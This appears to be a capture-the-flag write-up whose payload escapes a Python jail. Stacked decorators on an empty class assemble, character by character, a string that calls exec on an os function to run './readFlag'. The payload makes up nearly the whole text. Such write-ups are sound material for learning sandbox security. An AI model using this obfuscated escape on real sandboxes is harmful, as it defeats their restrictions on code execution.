### culinary class room pyjails with decorators galore wooo hopefully the comments are enough to understand wtf this is doing lmao ```py #exec("[*vars(__import__('os')).values()][47]('./readFlag')") #readflag is not right lmfao #call exec @print @bytes #) & pass to exec @license._Printer__filenames.__iadd__ @list @str.encode @chr @True.real.__add__ @license._Printer__filenames.__getitem__ @True.real.__add__ @True.real.__add__ @len @str #"None" #' @license._Printer__filenames.append @license._Printer__filenames.__getitem__ @True.real.__add__ @True.real.__add__ @True.real.__lshift__ @len @str #"None" #g @license._Printer__filenames.append @True.real.__add__ @True.real.__add__ @ord @list.pop @list @str #a @license._Printer__filenames.append @license._Printer__filenames.__getitem__ @True.real.__rsub__ @len @str #None #l @license._Printer__filenames.append @True.real.__rsub__ @True.real.__rsub__ @True.real.__rsub__ @ord @list.pop @sorted @list @str #F @license._Printer__filenames.append @True.real.__rlshift__ @True.real.__rsub__ @True.real.__rsub__ @True.real.__rsub__ @True.real.__rsub__ @license._Printer__filenames.__getitem__ @True.real.__add__ @True.real.__add__ @True.real.__lshift__ @len @str #d @license._Printer__filenames.append @True.real.__rsub__ @ord @list.pop @list @str #a @license._Printer__filenames.append @True.real.__rsub__ @True.real.__rsub__ @True.real.__rsub__ @True.real.__rsub__ @ord @list.pop @list @str #e @license._Printer__filenames.append @ord @list.pop @list @str #r @license._Printer__filenames.append @True.real.__add__ @True.real.__add__ @True.real.__add__ @ord @list.pop @sorted @list @str #/ @license._Printer__filenames.append @True.real.__rrshift__ @license._Printer__filenames.__getitem__ @True.real.__rlshift__ @len @str #None #. @license._Printer__filenames.append @True.real.__rsub__ @True.real.__rrshift__ @license._Printer__filenames.__getitem__ @True.real.__rlshift__ @len @str #None #' @license._Printer__filenames.append @license._Printer__filenames.__getitem__ @True.real.__add__ @True.real.__add__ @True.real.__lshift__ @len @str #"None" #( @license._Printer__filenames.append @True.real.__rsub__ @True.real.__rsub__ @license._Printer__filenames.__getitem__ @str.isascii @str #] @license._Printer__filenames.append @True.real.__add__ @True.real.__add__ @license._Printer__filenames.__getitem__ @str.isnumeric @str #7 @license._Printer__filenames.append @True.real.__rsub__ @True.real.__rsub__ @True.real.__rrshift__ @license._Printer__filenames.__getitem__ @len @str #4 @license._Printer__filenames.append @True.real.__rrshift__ @license._Printer__filenames.__getitem__ @True.real.__add__ @True.real.__rlshift__ @len @str #[ @license._Printer__filenames.append @license._Printer__filenames.__getitem__ @str.isnumeric @str #] @license._Printer__filenames.append @True.real.__add__ @True.real.__add__ @license._Printer__filenames.__getitem__ @str.isnumeric @str #) @license._Printer__filenames.append @True.real.__add__ @license._Printer__filenames.__getitem__ @True.real.__add__ @True.real.__add__ @True.real.__lshift__ @True.real.__lshift__ @str.isascii @str #values( @license._Printer__filenames.__iadd__ @list @str.encode @dict.values.__name__.__add__ @chr @True.real.__rsub__ @True.real.__rsub__ @license._Printer__filenames.__getitem__ @str.isascii @str #. @license._Printer__filenames.append @True.real.__rsub__ @True.real.__rrshift__ @license._Printer__filenames.__getitem__ @True.real.__rlshift__ @len @str #None #) @license._Printer__filenames.append @True.real.__add__ @license._Printer__filenames.__getitem__ @True.real.__add__ @True.real.__add__ @len @str #"None" #) @license._Printer__filenames.append @True.real.__add__ @license._Printer__filenames.__getitem__ @True.real.__add__ @True.real.__add__ @len @str #"None" #' @license._Printer__filenames.append @license._Printer__filenames.__getitem__ @True.real.__add__ @True.real.__add__ @True.real.__lshift__ @len @str #"None" #s @license._Printer__filenames.append @True.real.__add__ @True.real.__add__ @True.real.__add__ @True.real.__add__ @True.real.__add__ @ord @str.lower @next @list.__iter__ @list @str #"None" #o @license._Printer__filenames.append @True.real.__add__ @ord @str.lower #n is really close to o @next #get first char "N" @list.__iter__ @list @str #"None" #' @license._Printer__filenames.append @True.real.__rsub__ @license._Printer__filenames.__getitem__ @True.real.__rsub__ @len #__import__( @license._Printer__filenames.__iadd__ @list @str.encode @__import__.__name__.__add__ @chr @license._Printer__filenames.__getitem__ @True.real.__rsub__ @len #vars( @license._Printer__filenames.__iadd__ @list @str.encode @vars.__name__.__add__ @chr @True.real.__rsub__ @True.real.__rsub__ @license._Printer__filenames.__getitem__ @str.isascii @str #* @license._Printer__filenames.append @True.real.__rsub__ @True.real.__rsub__ @True.real.__rsub__ @True.real.__rrshift__ @license._Printer__filenames.__getitem__ @str.isnumeric @str #[ @license._Printer__filenames.append @True.real.__add__ @True.real.__rlshift__ @True.real.__add__ @True.real.__rlshift__ @True.real.__rlshift__ @True.real.__add__ #True.real == 1, with which we can make arbitrary numbers with by running functions on it @len @object.__name__.__add__ @str @list.clear #clear it @license._Printer__filenames.__iadd__ #we dont really care we just need the list reference @str class room: ... ```